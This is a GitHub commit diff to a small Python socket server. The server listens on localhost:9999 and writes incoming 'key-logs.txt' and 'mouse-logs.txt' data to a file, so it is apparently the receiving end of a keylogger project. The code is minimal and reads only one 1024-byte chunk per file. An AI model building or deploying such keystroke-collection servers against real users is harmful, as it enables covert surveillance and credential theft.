Skip to content

Commit

Permalink
Update server.py
Browse files Browse the repository at this point in the history
  • Loading branch information
adisakshya authored Mar 9, 2019
1 parent 07ab53d commit 3ce3038
Showing 1 changed file with 8 additions and 12 deletions.
20 changes: 8 additions & 12 deletions bin/server.py
Original file line number Diff line number Diff line change
@@ -1,27 +1,23 @@
import socket
import sys

files = ['key-logs.txt', 'mouse-logs.txt']

s = socket.socket()
s.bind(("localhost",9999))
s.listen(10)
i = 0

print('listening on port: 9999')
while True:
sc, address = s.accept()

print('Got connection from: ',address)
f = open('new_'+ str(i)+".txt",'wb') #open in binary
i=i+1
while (True):

f = open('server-copy.txt','wb') # open in binary
for i in range(len(files)):
l = sc.recv(1024)
f.write(l)
"""
while (l):
f.write(l)
l = sc.recv(1024)
"""
f.write(l)
f.close()


sc.close()

s.close()

0 comments on commit 3ce3038

Please sign in to comment.